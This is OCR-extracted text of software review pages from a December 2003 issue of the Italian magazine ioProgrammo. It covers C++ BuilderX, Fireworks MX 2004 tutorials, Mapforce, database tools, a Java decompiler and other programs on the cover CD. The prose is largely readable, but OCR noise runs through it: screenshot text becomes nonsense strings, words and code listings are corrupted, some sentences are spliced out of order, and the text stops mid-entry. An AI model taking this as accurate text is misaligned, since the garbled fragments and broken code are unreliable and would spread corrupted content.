Dlltool (.deffiles)
Minimalist GNU For Windows
Linker
Cenerate .defilé
GNU archive tool (MlnGW)
Minimalist GNU For Windows
Librarlan
GNU archive tool (MlnGW)
GNU Windows Resource Co...
Minimalist GNU ForWindows
BorlandWin32 CompilerTooIs
"si-5'.itte cornpiler
GNUWindowsResourc...
Preprocess
Deployment
CPP32Preprocess
[ OK ] Canee
|| Help |
Fig. 2: Da questa interfaccia è possibile aggiungere nuovi
compilatori e tool di sviluppo alla lista.
mantenendo invariata l'interfaccia di svi-
luppo è un beneficio da non sottovalutare.
Chi sviluppa in C++ avrà notato che non si
può affermare che
esista un compilato-
re "in assoluto"
migliore degli altri.
Tipicamente ognu-
no ha delle doti che
possono farlo prefe-
rire ad altri. Già nel
pacchetto presenta-
to sul CD, oltre al
compilatore ufficiale
Borland, è presente
C++ di Sun per Solaris e i
compilatori Intel C++ 7.1,
sia per Linux che per
Windows. E' anche pos-
sibile collegare compila-
tori che non sono in que-
sta lista, in modo che
ognuno può utilizzare
quello che preferisce.
Ad esempio, per ammis-
sione stessa della
Borland, il suo compila-
tore, pure essendo molto
veloce a tempo di compi-
lazione, non è "un fulmi-
ne di guerra" a run time... insomma la
libertà è totale, sta a noi sfruttarla con sag-
gezza.
e e, e - '
[e ► - te ■
l'eccellente GNU
C++ Cornpiler, sia
per Windows che per
Linux. Ma sono sup-
portati anche il
Visual C++ Cornpiler
di Microsoft, il Forte
a
S ■ i i-
( int auge, citai * a.ngv[ ] )
md C++Builder
- , , 2504 stoppsd :"- : bre;
. |
\B V (_STL: :ba;ic_strlng<char, _STL::c
|ST| (Int) arge = 1 (0x00000001)
srsejoir.i ■■ . ■■■..■(. ?; -.-.- ; :r.,;,-, ■■.
'.«Jko
Fig. 3: Il debug consente una dettagliata analisi dello stato
dell 'applicazione.
* 12/Dicembre 2003
http://www.ioprogrammo.it
Applicazioni Cross-Platform
SOFTWARE SUL CD
uni muovo
PROGETTO
Giusto per avere una prima impressione,
proviamo a scegliere la voce New dal menu
File. Una finestra di dialogo con numerose
opzioni ci darà la possibilità di scegliere il
tipo di progetto da creare: applicazioni
GUI, console, librerie e quant'altro. Fatto
questo, un wizard ci guiderà alla costruzio-
ne di una infrastruttura di base che ren-
derà più semplice il completamento del
nostro progetto. Il tutorial mostra i tre passi
necessari a creare un progetto di applica-
zione GUI.
DEBUGGER
Il debugger è particolarmente curato in
questa edizione: ricchissimo è il ventaglio
di possibilità che
offre. In figura ve-
diamo una screen-
shot di un'applica-
zione in esecuzione
in modalità debug.
Avendo introdotto
un breakpoint (la
freccetta blu che
notate alla sinistra
del codice) possia-
mo ispezionare
completamente lo
stato dell'applica-
zione e del sistema,
grazie anche alla
evidenziazione dei
thread e delle zone
di memoria impe-
gnate nell'attimo in cui abbiamo interrot-
to l'esecuzione. Diciamo pure che la foto-
grafia dell'istante è dettagliatissima e
garantisce tutte le informazioni di cui uno
sviluppatore può aver bisogno, sia nell'ot-
tica di migliorare le prestazioni che in
quella di scovare i bug presenti.
INSTALLAZIONE
Prima di effettuare l'installazione, è neces-
sario registrarsi al sito ufficiale Borland,
all'indirizzo www.borland.com/products/
downloadsldownload_cbuilderx.html# e
lasciare i propri dati. Vi verrà inviata una
mail al vostro indirizzo contenente un alle-
gato che fungerà da chiave di attivazione.
Al termine della procedura, sarete invitati a
scaricare il pacchetto di installazione...
cosa che potrete evitare, in quanto già pre-
-..■■■■
n|¥|<?| a|»i|e|
. È»™
B E<°°
■ * |ff UH ]
sente nel CD allegato alla rivista. C++
Builder può essere installato su numerose
piattaforme anche se quelle supportate uf-
ficialmente sono Windows 2000, Windows
XP, RedHat Linux Enterprise Workstation
2.1 e Solaris 8. Una volta scompattato il file
.zip, dobbiamo innanzitutto accertarci di
avere lo spazio sufficiente alla completa
installazione: circa 500 MB. Per le installa-
zioni su Windows, bisogna fare attenzione
ad avere i privilegi di amministratori: in
caso contrario, l'installazione partirà ma
senza andare a buon fine. Detto questo,
siamo pronti a partire con un doppio clic
su install.exe presente nella sottodirectory
Windows. La procedura di installazione
prevede l'accettazione di una licenza e
quindi la scelta fra l'installazione full ed
una personalizzata, in cui è possibile spe-
cificare se installare o meno tool addizio-
nali ed il compilatore GNU C++. Curiosa-
mente, fra i pacchetti che verranno instal-
lati, si annovera anche un Java Runtime Al
primo avvio dell'applicazione vi verrà
richiesta una chiave di attivazione: sarà
sufficiente salvare, in una qualsiasi direc-
tory, l'allegato della mail ricevuta in prece-
denza dalla Borland ed indicare a C++
Builder X la posizione in cui abbiamo sal-
vato il file.
Fig. 4: L'integrazione con l'ambiente Together consente di avere
diagrammi UML sempre aggiornati rispetto al processo di sviluppo.
i
C++ Builder X
Personal
Produttore: Borland
Sul web: www.borland.it
Prezzo: Gratuito
Software su CD:
cbx 1 persona I wi ndows
La prima applicazione GUI
<-,.„.„.,,
DC^DC
Iir^j
QDal menu File, scegliamo New,
quindi indichiamo New GUI
Application. Nel wizard che si apre
indichiamo percorso e nome del nostro
progetto. Un clic su Next.
HLa successiva finestra di dialogo
consente di scegliere la piattaforma
su cui andremo ad utilizzare il progetto
ed il relativo toolset da utilizzare per la
compilazione. Ancora un clic su Next.
H L'ultimo passo consiste
nell'indicare quali file includere
nel progetto, qualora fossero già state
scritte delle parti dell'applicazione. Con
Finish, partirà la creazione del progetto.
http://www.ioprogrammo.it
Dicembre 2003/13 ►
SOFTWARE SUL CD T
Authoring Web
Macromedia Fireworks
MX
ii
Il segreto del successo di Fireworks è dovuto ad una scelta
vincente operata dalla Macromedia: creare uno strumento
specializzato per il web che non sia un semplice accessorio
di Dreamweaver.
Fin dalle prime versioni, tutti gli sforzi
della casa produttrice sono stati orien-
tati alla creazione di strumenti efficaci,
pensati appositamente per venire incontro
a determinate esigenze. L'utente-tipo del
programma, è qualcuno intenzionato a
creare un tipo di grafica che sia non solo
gradevole o funzionale, ma soprattutto ot-
timizzata per internet. Da sempre Fire-
works risponde con un solo prodotto a tre
esigenze distinte: la grafica bitmap, la gra-
fica vettoriale e la creazione di pagine web
dotate di interattività. Come avremo modo
di vedere nel corso di questo articolo, con
la release MX 2004 tutti e tre questi settori
sono stati potenziati e arricchiti di nuovi
strumenti. A questo proposito possiamo
dire che la "specializzazione" del prodotto
è solo uno dei due fattori all'origine del
suo successo; l'altro è senza dubbio la
ricerca della massima produttività attra-
verso la più ampia facilità di utilizzo. Con
Fireworks si può creare della buona grafi-
ca, ma lo si può fare in modo rapido, attra-
verso strumenti intuitivi che sono in grado
di accontentare sia il professionista che l'u-
tente inesperto. Cominciamo subito a dare
uno sguardo alla nuova interfaccia di
Fireworks MX 2004. Lanciato il program-
ma, notiamo una caratteristica comune a
tutti i programmi Macromedia di nuova
generazione: la start page.
PER INIZIARE...
LA START-PAGE
La start page è stata pensata per ottimizza-
re i tempi, in quanto offre all'utente la pos-
sibilità di accedere ai file utilizzati di recen-
te, oppure a varie risorse online, messe a
disposizione sul sito della Macromedia.
Per disabilitare la finestra in questione, ba-
sta selezionare la casella in basso a destra,
contraddistinta dalla scritta "Don't show
SBi ot* ^ti Sii
Select
(T *
Bitmap
□ P
\ •
/ 6,
a a
Web
_£alats_
^Originai | EPreview LL]2-Up ffl4-Up |
ioProQwntno
D^SxS
rtiacrùrnedisr
FIREWORKSMX
2004
Fig. 1: La nuova barra presenta un riepilogo di tutti i documenti aperti dall'utente,
consentendo di passare da un documento all'altro con estrema facilità.
again". Anche se l'aspetto generale resta
comunque fedele alle innovazioni intro-
dotte con la versione precedente, ad un
primo sguardo risultano subito evidenti
alcune novità: una di queste è la barra che
indica quali sono i documenti aperti e che,
attraverso le etichette in alto, fornisce un
metodo molto pratico per gestire più do-
cumenti contemporaneamente - soprat-
tutto durante la crostruzione di progetti
web oriented. Nel pannello Properties no-
tiamo alcune importanti migliorìe. Infatti,
è stata aggiunta la possibilità di avere una
pop-up preview per i riempimenti e i con-
torni, in modo da poter vedere, prima di
applicarli, che aspetto avranno. La voce Fili
category introduce una nuova raccolta di
contorni basati anche su linee tratteggiate:
una volta scelto il colore e le dimensioni, ci
appare una finestra a comparsa con la rap-
presentazione visiva del contorno che
applicheremo. Inoltre, con il nuovo pul-
sante Fit Canvas è possibile adattare l'inte-
ro documento ad uno specifico oggetto.
Sempre dal pannello Properties, è possibile
applicare nuovi effetti di antialiasing al
testo. Nella versione MX di Fireworks,
quando si attivava il menu Anti-aliasing
level erano disponibili solo quattro possi-
bili opzioni di regolazione. Con la nuova
release sono state aggiunte due voci: Sy-
stem Ariti- Alias e Custom Ariti- Alias. In par-
ticolare, Custom Anti-Alias attiva un ulte-
riore pannello di controllo, attraverso il
quale è possibile scegliere il colore del testo
in relazione alle caratteristiche cromatiche
del layout.
GRAFICA
VETTORIALE
Dopo aver dato uno sguardo all'aspetto
dell'interfaccia, passiamo ad analizzare i
► 14/Dicembre 2003
http://www.ioprogrammo.it
Authoring Web ■ T SOFTWARE SUL CD
nuovi strumenti per la grafica vettoriale,
che probabilmente costituiscono l'ag-
giunta più rilevante a Fireworks MX 2004.
La barra degli strumenti, solo in apparen-
za simile a quella della versione prece-
dente, nasconde una grossa novità. Sono
state inserite numerose nuove forme nel-
l'elenco presente nel pannello degli stru-
Vector
m
e,
D Rectangle tool (U)
O Ellipse tool (U)
O Polygon tool (U)
c[> Arrow
C\ Beveled Rectangle
tf] Charmfer Rectangle
"T_ Connector Line
@ Doughnut
P L-Shape
Q Rounded Rectangle
O Smart Polygon
• Éf) Spirai
^■Star
Edge:
Texture:
Fig. 2: Un particolare dei menu di Fireworks.
In evidenza la creazione di grafici a torta.
menti (alcune di esse risulteranno fami-
liari a chi utilizza applicativi come
Freehand o CorelDraw), e ne segnaliamo
alcune che, senza l'aiuto dei meccanismi
di preimpostazione, potrebbero risultare
più impegnative da realizzare: le spirali, i
poligoni sezionati e i grafici a torta. Tali
forme sono dotate di Shape handles (pic-
cole maniglie gialle che trascinano una
sorta di nodi predefiniti) : trascinandole
riusciamo a modificare e ridisegnare l'e-
lemento vettoriale. Questi strumenti
innalzano notevolmente il livello qualita-
tivo della grafica vettoriale prodotta con
Fireworks, fornendo agli sviluppatori
solide basi di partenza per creare oggetti
complessi. Nell'ambito delle tecniche di
disegno, adesso è possibile ridimensio-
nare una figura rispetto al centro. Per
ottenere questo risultato basta tenere
premuto il tasto Alt, per Windows, o il
tasto Option, per Macintosh, mentre si
usa lo strumento Scale. Sullo stesso prin-
cipio sono basate le forme vettoriali pre-
senti nel pannello Shapes (Windou»Auto
Shapes), che contiene un piccolo archivio
di immagini vettoriali dotate di riempi-
mento. Anche in questo caso svolgono
una funzione determinante le Shape
handles che, al passaggio del mouse,
mostrano dei tooltip contententi le indi-
cazioni sull'uso delle preimpostazioni.
Con un approccio completamente inte-
rattivo, si può cambiare la forma, il tipo di
texture ed il colore, senza dover necessa-
riamante utilizzare il pannello Properties.
GRAFICA BITMAP
Nuove funzioni sono state aggiunte per
quanto concerne il fotoritocco. Dopo
aver selezionato Rubber Stamp, nel pan-
nello Tools si attiva un sottomenu che
contiene altri due strumenti: Replace
Color e Red Eye Removal. Il primo è la
risposta ad una richiesta che da tempo gli
sviluppatori avevano fatto alla
Macromedia e introduce una funziona-
lità che non poteva certo mancare tra le
risorse di Fireworks. Con Replace Color,
infatti, è possibile selezionare un colore
all'interno di una foto e sostituirlo con
uno di proprio gradimento: per scegliere
il colore da sostituire, basta attivare il
contagocce del menu Change nel pannel-
lo Property Inspector e cliccare sulla foto;
per scegliere invece il colore sostitutivo, è
sufficiente attivare il menu To e scegliere
uno dei colori presenti.
Lo strumento è costutuito da un sempli-
ce pennello e produce come effetto la
sostituzione del colore prescelto nelle
zone pennellate. Red Eye Removal, è un
altro classico strumento di fotoritocco.
Come molti sanno, quando si scattano
fotografìe è ricorrente il cosiddetto effet-
Allegare un'immagine ad una e-mail
:W
:
Sort:
LI?
t Assets
||L
Clock
»«
Q>
Qptlons C
Atftist Color ►
?;-.-:;; .Line! Émboss ►
Blur ►
Other ►
—
M l> CI
i
Effects:
Eye Candy 4000 LE ►
Alien Skin Splat LE ►
StowA
Irai e r Glow
Irai e r 5h-adow
1
1
Q Importiamo una foto con il
comando File>lmport. Non appena
il cursore assume la forma di una
squadra, clicchiamo in un punto del
foglio di lavoro e trasciniamo, in modo
da definire la grandezza della foto.
Mantenendo selezionata la foto, dal
Property Inspector clicchiamo su Effects,
scegliamo Shadow and Glow e poi Drop
Shadow, per aggiungere un'ombra
discendente alla foto.
DSL
§ B • i *sB
SS SS 9 *3 % % 4 % P Jl
J Originai EPreview LTJ2-Up ffi^-L
p 1
Bitmap
Q P
\ /
"7
5hape=
M#^
CI.,,
C03
», y
t
□
Veci or
/ 4.
□ A
ti --'
—
f\
HDal pannello Auto Shapes (Win-
dow>Autoshapes), selezioniamo la
forma "Talking". Trasciniamola sull'area
di lavoro e ridimensioniamola. Attraver-
so le maniglie interattive direzioniamo
la freccia del balloon in modo da adat-
tarne l'inclinazione e, con lo strumento
Text, scriviamo "ciao" nel balloon. Un
clic su Fit Canvas nel Property Inspector,
e avremo adattato l'immagine alle
dimensioni del documento.
Import...
Export...
Export Preview...
Ctrl+R
Ctrl+Shift+R
CtrH-Shift+X
^B
Fireworks PNG...
Update HTML,..
JPEG Compressed...
hi
Export Wizard..
Batch Process...
Preview in Browser
►
Ust f/i ■::■(: : eLc ng? . .
Page Setup...
Print...
HTML Setup...
Ctrl+P
Exit
Ctrl+Q
H Attiviamo la voce Send to E-mail
(File>Send to E-mail). Ci apparirà
un menu contestuale con tre opzioni:
Firewoks PNG, JPG Compressed, Use
Export Settings. Scegliamo JPG
Compressed: automaticamete la nostra
immagine verrà allegata al programma
di posta predefinito. Su Macintosh
alcuni browser potrebbero non
supportare questa funzione
estremamente comoda.
http://www.ioprogrammo.it
Dicembre 2003/15 ►
SOFTWARE SUL CD T I Authoring Web
SALVARE CONTENUTI IN PHP
' i.
D A
■
OR
l*EI
10»
Si
■
*
^H
©e
a
-
O q.
!! » Properties
R
Rectangle (£>
| . | Linear
-
ftZ
l-l
Ed,,: P|
IliJ ■
—al
dge-|Anl:i-Alia S -[ ì
-
„,„„
Tran.pa.ent
QCon lo strumento Rectangle,
creiamo un rettangolo di 500
x 22 pixel.
Nel Property Inspector, un clic su
Fili Options, presente nel menu Fili
Category, e selezioniamo Gradient
e Linear. Premiamo il tasto Edit e
scegliamo un colore di partenza
più scuro ed un colore finale più
chiaro. Utilizzando le maniglie
interattive, facciamo in modo che
il colore più chiaro sia rivolto
verso l'alto.
□ p
^ a
è. ®
? 4.
— ~ ' "
E ■
*
£
|
' 4,
□ A
3
*
=i
B be„a |
— t« In
f. s ™i -ij □ a
n, ,-. F-,,"V", ,B a ffl
alt
t3|0
| |prmacacina| jsecinca capir r. tefe(g . ÌOPrOflramillO
□ *, Typ, Ira e ■■ -„.-.,
B0B=
tónapiSB |-| Alt: .aiatapa
n 33
a
h: 1 ,:
Me«
HSu ogni scritta, utilizziamo lo
strumento Slice per creare una
porzione. Clicchiamo sulla porzione
relativa alla prima scritta e, dal menu
contestuale che appare, selezioniamo
Add Swap Image Behavior, per attiva-
re la finestra Swap Image: selezionia-
mo la voce Fratrie 2. Nel pannello Fra-
ine, clicchiamo su Frame 2 e inse-
riamo lo stesso rettangolo e la prima
scritta, ma modificandone i colori,
per evidenziare il rollover. Ripetiamo
lo stesso procedimento per le altre
due scritte, nei Frame 3 e 4.
to "occhi rossi", che colora di rosso le pu-
pille dei soggetti ritratti. Red Eye Remoual
è un pennello studiato appositamente
per individuare ed eliminare questo effet-
to indesiderato. Da segnalare anche, tra i
Live Effects, alcuni nuovi interessanti
effetti preimpostati, tra cui citiamo:
Motion Blur e Zoom Blur, entrambi pre-
senti nel gruppo Blur.
3
' 'J"^"""" , " t °'' r
p-irnifagira seconda pacma te-zi pagna i P rOfl Tafll HI
_ ,„.
>t
_;
..-Lo,™ iF.
3 100 - Morra
B MSI» taira |»M
Fornai £j Q -J
QUn clic su Fit Canvas nel Property
Inspector, in modo da adattare le
dimensioni del documento al rettango-
lo appena creato. Cliccando il pulsante
New I Duplicate Layer nel pannello La-
vere, creiamo un nuovo livello e rinomi-
niamolo barra. Con lo strumento Text,
selezioniamo l'opzione No Anti-Alias e
scriviamo "paginaì", "pagina!" e "pa-
gina3", allineandole sul rettangolo. Nel
pannello Frames and History, premiamo
4 volte il tasto New I Duplicate Frame,
in modo da creare quattro fotogrammi.
□ Selezioniamo le varie
porzioni e, dal Property
Inspector, attribuiamo ad ognuna
un uri, scrivendolo nella casella
Link. Salviamo come barra.png ed
esportiamo con File>Export.
Nella finestra di dialogo Export,
scegliamo "HTML and Images".
Clicchiamo sul checkbox Put
images in subfolder e poi su
Options.
Dalla scheda General, scegliamo
"Generic HTML" e come estensione
.php.
CONTENUTI
PER IL WEB
Anche sul versante della creazione di con-
tenuti per il web non mancano le novità. Il
tasto File Management, attraverso le fun-
zioni put e get, consente di impiegare le
funzioni di Ftp incorporate in Dremawea-
ver MX 2004, per prelevare file dal server,
modificarli e ricaricarli sul server. Per
quanto riguarda i contenuti per il web, con
Fireworks MX 2004 è stata introdotta la
possibilità di salvare in formati server side,
che in passato non erano previsti dalle fun-
zioni di esportazione. Una nuova opportu-
nità, valida sia per il dialogo con Dream-
weaver sia per l'interazione con codice
scritto manualmente.
PER CONCLUDERE
L'unico piccolo appunto da fare riguarda la
parte bitmap del programma. Pur avendo
strumenti di esportazione rapidi ed effica-
ci, la componente legata al fotoritocco
sembra essere rimasta un po' indietro,
rispetto alle tante novità che spiccano in
ambito vettoriale. Lo strumento per ri-
muovere gli occhi rossi e qualche altro ef-
fetto aggiunto non rendono giustizia alle
vere potenzialità del software. Volendo
analizzare la questione in un' ottica di poli-
tica aziendale, è evidente che, se da un lato
Freehand assicura un valido strumento in
grado di competere alla pari con qualsiasi
tool vettoriale, nel fotoritocco la Macro-
media non ha ancora nessun prodotto ca-
pace di contrastare realmente Photoshop.
D'altro canto, Fireworks è l'unico ad avere
una solida base di partenza su cui costrui-
re una proposta credibile in ambito bit-
map. Non è da escludere, quindi, che in
futuro possano verificarsi grosse sorprese
proprio in quel gruppo di funzionalità. Nel
CD allegato alla rivista, oltre alla versione
trial di Fireworks MX 2004, trovate anche
gli esempi descritti nei due tutorial: \soft\
codice\FW_esempi.zip.
fc
Fireworks MX 2004
Produttore: Macromedia
Sul web: www.macromedia.it
Prezzo: full version € 359
Upgrade€ 179
Software su CD: fwmx_2004_en.exe
I
REQUISITI
Per Windows
600 MHz Intel Pentium MI o equivalenti
Windows 98 SE, Windows 2000, o
Windows XP
128 MB RAM (256 MB raccomanadati)
150 MB di memoria libera sull'hard disk
Per Macintosh
500 MHz PowerPC G3 processor
Mac OS X 10.2.6
128 MB RAM (256 MB raccomanadati)
100 MB di memoria libera sull'hard disk
► 16/Dicembre 2003
http://www.ioprogrammo.it
Interazione fra ambienti di sviluppo
T SOFTWARE SUL CD
Mapforce
ii
Un potente tool per l'integrazione di dati che consente
di semplificare l'interazione fra piattaforme diverse. Utilissimo
anche nel processo di aggiornamento di applicazioni legacy.
Con questo innovativo tool visuale
potremo facilmente integrare fonti
di dati differenti e presentarle all'interno
dei nostri progetti. Una volta "disegnato"
lo schema di trasformazione che voglia-
mo realizzare Mapforce si fa carico di
generare il codice (Java, C++, C# o XSLT)
necessario a completare l'opera.
Le trasformazioni supportate sono XML-
to-XML e Database-to-XML: risparmio
di tempo e garanzia dei risultati sono i
principali vantaggi di una soluzione di
questo tipo.
MAPPATURA
DATABASE-TO-XML
Attraverso Mapforce 2004 è possibile
caricare direttamente le tabelle del data-
base e gli schemi XML, per poi disegnare
visualmente la mappa che trasforma le
tabelle in un qualsiasi modello di dati
espresso nell'XML Schema. Fatto questo,
Mapforce 2004 genera automaticamente
il codice applicativo necessario ad effet-
tuare la conversione dal database indi-
cato verso l'XML. Il codice così ottenuto
è completamente customizzabile e sup-
porta tutti i più diffusi database: SQL
Server, Oracle9i e qualsiasi database per
cui sia disponibile un driver ODBC.
MAPPATURA
XML-TO-XML
Grande è il vantaggio che si ricava dall'u-
tilizzare Mapforce 2004, anche nel
momento in cui abbiamo necessità di
rimappare documenti XML in altri docu-
menti XML: è sufficiente caricare un
qualsiasi numero di XML Schema e trac-
ciare, per via visuale, la mappa che uni-
sce documento di partenza e documen-
to di arrivo. Particolarmente efficace
risulta l'interfaccia che, durante tutta
l'operazione di mappatura, consente di
tenere sotto controllo sia l'XSLT che un
esempio dell'output di quanto andiamo
a realizzare. Anche in questo caso è pre-
vista la possibilità di produrre codice
Java, C++ o C# che si occupi di effettuare
la medesima conversione che abbiamo
impostato per via visuale.
Fig. 1: Ecco come /riappare un database
relazionale in un documento XML
SVILUPPO
PIÙ VELOCE
I progetti che prevedono l'integrazione
fra fonti e piattaforme diverse si risolvo-
no spesso in un noioso e ripetitivo lavo-
ro che prevede la scrittura di molte linee
di codice per il caricamento, la persi-
stenza, la validazione, e tutta la schiera
di operazioni necessarie per il tratta-
mento dei dati.
Mapforce 2004 consente di ridurre dra-
sticamente questo sforzo, garantendo, al
contempo, un risultato a prova di errore:
gli sviluppatori sono sollevati dal dover
lavorare con codice di basso livello e
possono dunque concentrarsi sugli
aspetti più strettamente legati al focus
della loro applicazione.
EVOLUZIONE
DI UNO SCHEMA
I modelli di dati non sono statici ma si
evolvono nel tempo per seguire i cam-
biamenti delle funzionalità e dei requisi-
ti di un'applicazione. Immaginiamo che
venga modificato un modello di dati
XML per un'applicazione già distribuita:
anche l'applicazione XML esistente
dovrà essere aggiornata per tener conto
delle novità. Questi scenari di migrazio-
ne sono gestiti in modo molto semplice
da Mapforce grazie alla possibilità di
caricare più modelli XML in cascata, in
maniera da realizzare una sorta di cate-
na di trasformazione che assicura l'evo-
luzione del modello. Questo approccio
consente alle nostre applicazioni di
restare sincronizzate al modello di dati,
anche nei casi in cui questo venga spes-
so cambiato.
MANIPOLAZIONE
DEI DATI
Nelle comuni esperienze di integrazio-
ne, è ben difficile trovarsi in casi in cui la
mappatura di un database o di un
modello XML verso un documento XML
si risolva in un link 1-a-l. Più tipicamen-
te sarà necessario applicare delle regole
che in qualche modo manipolino i dati
di partenza al fine di rientrare nello
schema di arrivo. Mapforce mette a
disposizione dello sviluppatore un ricco
set di funzioni che consentono l'intro-
duzione di regole matematiche, opera-
zioni sulle stringhe, operazioni condi-
zionali, logica booleana, fino ad arrivare
alla costruzione di regole personalizzate
dall'utente.
INTEGRARE BASI
DI DATI
L'integrazione di dati può presentarsi
utile in diversi scenari: il caso più tipico
è quello di una transazione business-to-
business che permette il dialogo fra due
o più aziende i cui modelli di dati e back
end, sono in genere assolutamente
eterogenei.
Mapforce 2004
Produttore: Altova
Sul web: www.altova.it
Prezzo: € 436
Nel CD: MAPFORCEComplete2004.exe
http://www.ioprogrammo.it
Dicembre 2003/17 ►
SOFTWARE SUL CD T I Videogiochi e multimedia
Aqua Data Studio 3.5
Un potente IDE per creare ed eseguire script SQL
Un tool per amministratori di
database che consente di editare
ed eseguire script SQL, oltre che con-
Fig. 1: L'interfaccia principale dell 'IDE
sentire una agevole navigazione nelle
strutture dei più complessi database.
Aqua Data Studio mette a di-
sposizione degli utenti
un potente ambiente di
sviluppo integrato che
può fare da interfaccia a
tutti i principali databa-
se presenti sul mercato,
consentendo l'esecu-
zione di più operazioni
simultaneamente su
più database, attraverso
un ambiente coerente e
ben strutturato. Degno
di menzione risulta il
Query Analyzer che
mette a disposizione un
editor con un syntax
highlighting studiato
specificamente per gli RDBMS e con
avanzate funzioni di auto-completa-
mento che velocizzano notevolmente
il lavoro degli sviluppatori. La possi-
bilità di analizzare per via grafica la
struttura dei Database consente una
più semplice interpretazione dei dati
e delle correlazioni. Aqua Data Studio
può salvare i risultati delle query in
numerosi formati, compresi HTML e
XML.
Versione di valutazione valida novan-
ta giorni.
Aqua Data Studio 3.5
Produttore: AquaFold, Ine
Sul Web: www.aquafold.com
Prezzo: $ 69
Nel CD: adstudio.exe
DJ Java
Decompiler 3.5.5.77
Ricostruiamo il codice sorgente dei file compilati
Un decompilatore e disassemblato-
re grafico che gira su piattaforma
Windows e che permette, con estrema
2 48 25
iieciìy.coin'neskkov/'d! firmi - Check otien fofnewvsrsicn.
java, avvi Toolkit:
java.lo.PrlntStrsarn;
public class GetScreenSIze
GetScreenSizeQ
{
}
public staile veld mainjString argsOJ
(
oolkit toolkit - i oolkit getDefaultToolkitO;
java.swtDimension dimension — toolkit getScreenSizeQ:
System out.printlnr ^ " + dimensioni
System. exit(O),
)
Fig. 1: Il DJ Java Decompiler al lavoro
facilità, di ricostruire il codice sorgente
originale a partire da file binari CLASS.
Una volta ottenuto il sorgente, è possi-
bile modificarlo diretta-
mente all'interno di DJ
Java Decompiler, grazie
all'editor integrato. Essen-
do un'applicazione Win-
dows, non è necessario
che sia installata una mac-
china Java: l'unica cosa da
fare è indicare il file .class
e istantaneamente potre-
mo vedere, ed eventual-
mente modificare, il sor-
gente. Complessivamente,
l'interfaccia può apparire
decisamente spartana. A
dispetto di ciò, c'è da dire
che l'applicazione funzio-
na a meraviglia e questo suo essere
spartano si rivela un grande pregio nel
momento in cui ci accorgiamo che
basta un singolo clic per risalri al codi-
ce sorgente di qualsiasi file .class com-
pilato. Quest'ultima release ha subito
un significativo miglioramento delle
prestazioni. DJ Java Decompiler non è
dunque un semplice decompilatore
ma può essere utilizzato come un vero
e proprio editor grafico, con tanto di
syntax-highligthing. Gratuito.
DJ Java
Decompiler 3.5.5.77
Produttore: Atanas Neshkov
Sul Web: members.fortunecitv.com/
neshkov/dj.html
Prezzo: Gratuito
Nel CD: djdec322.zip
è
► 18/Dicembre 2003
http://www.ioprogrammo.it
Sviluppo di DB relazionali ■ T SOFTWARE SUL CD
Jaqua
Gestisci il tuo database tramite linguaggio SQL
Java Query Analyzer, questo l'acro-
nimo che si cela dietro nome di
questo interessante
software che, attra-
verso una semplice ed
efficace interfaccia,
consente di pilotare le
principali funzioni di
qualsiasi database
compatibile con
JDBC.
È possibile gestire pa-
rallelamente un nu-
mero illimitato di DB,
effettuando query, ag-
giornando e lancian-
do script SQL in modo
del tutto indipenden-
te su tutti i back end.
Jaqua consente di
avere una visione complessiva dei
dati distribuiti nella infrastruttura
che gestiamo e, grazie ad una nuova
GUI, consente di generare script SQL
in pochi secondi.
L'interfaccia è chiara e di aspetto
professionale: senza inutili fronzoli
consente di gestire complesse opera-
zioni sui DB con relativa semplicità.
Ottimo per amministratori di sistema
e sviluppatori, ha un ultimo vantag-
gio: non ha bisogno di alcuna proce-
dura di installazione, basta un unzip
ed è subito pronto a funzionare.
Realizzato in Java.
Fig. 1: Ogni operazione sul DB avviene tramite la creazione
grafica di una Query
Jaqua 2003
Produttore: Viktor Moser
Sul Web: http://jaqua.cjb.net/
Prezzo: € 35.00
Nel CD: jaqua.zip
GS DataCenerator 1.5
Per popolare un database con dati realistici
Un generatore di dati per testare mondo reale. GS DataGenerator può
la funzionalità di applicazioni e creare grandi volumi di dati per qual-
basi di dati, attraverso dei dati che siasi base di dati relazionale, simula-
simulano quelli riscontrabili nel re andamenti di borsa o un business
<f 7 GSApps
^S^ j». EIDBAL SQf — "
«SMTmiEUPRICIllOBS
,+*&*
Efficiency thi migli
innovation
Wl
:rw
Copyright 2QQ3j Global Software Applications, LLC.
Ali rights reserved.
workflow, fino a presentare dati con
tanto di finti errori per testare i DB
nei casi limite.
Molto funzionale la possibilità di
creare dati a partire dagli input defi-
niti dagli sviluppatori al momento
della creazione del software.
Per installare correttamente GS Data-
Generator è necessario che sul PC
siano già presenti il .NET Framework,
nella versione 1.1 ed il MDAC 2.7.
Versione di prova, limitata a 30 gior-
ni e alla creazione di 200 record per
sessione.
GS DataGenerator 1.5
Produttore: Global Software
Applications
Sul Web: www.qsapps.com
Prezzo: $ 945
Nel CD: dg_setup.exe
Fig. 1: GS DataGenerator consente di creare anche funzioni personalizzate
http://www.ioprogrammo.it
Dicembre 2003/19 ^
SOFTWARE SUL CD T I Elenco Software sul CD
PE Explorer 1.93
Leggere e modificare eseguibili
Windows
Un agile disassemblatore che consente di visua-
lizzare ed (eventualmente) modificare la strut-
tura interna di file eseguibili per Windows.
Utilizzato da molti hacker, si rivela di grande
utilità per gli sviluppatori che vogliano lavorare
"di fino" sui loro stessi file compilati. Come sor-
gente accetta file EXE, DLL, DRV BPL, DPL, SYS,
CPL, OCX, SCR, e qualsiasi altro eseguibile
Win32. In questa nuova versione, è possibile
effettuare una migliore ricerca per stringhe ed i
file XML possono ora essere visualizzati e modi-
ficati all'interno dell'ambiente. Versione di
prova valida trenta giorni.
pexsetup.exe
Apache Xindice
Tra i migliori esempi di Database
XML nativi
Con "nativo" si indica la caratteristica peculiare
di questi database di gestire la persistenza e l'a-
nalisi di documenti XML come tipo di dato fon-
damentale, contrapposto ad altre soluzioni tra-
dizionali come i database relazionali in cui il
dato fondamentale è invece il record. Xindice
utilizza l'implementazione di Xalan per valuta-
re le query, in conformità allo standard 1.0.
Volendo, potete controllare se sono presenti
versioni più aggiornate collegandovi aU'indiriz-
zo:http:llxml.apache.orglxindicel. Scompattate
l'archivio, ad esempio in C. Dichiarate la varia-
bile d'ambiente XINDICEJÌOME con il valore
C:\xml-xindice-1.0. Aggiungete al PATH il per-
corso %XINDICE_HOME%\bin ed il gioco e'
fatto. Per avviare Xindice, da Windows eseguite
C:\xml-xindice-1.0\startup.bat Per uscire dal-
l'applicazione è sufficiente chiudere la finestra
dos in cui è in esecuzione Xindice.
xm l-xi nd ice-1 .0.zip
JProfiler 2.3.3
Scopri i colli di bottiglia di appli-
cazioni J2SE e J2EE
Un sistema semplice ed efficace per testare le
prestazioni di applicazioni Java, sia J2SE sia
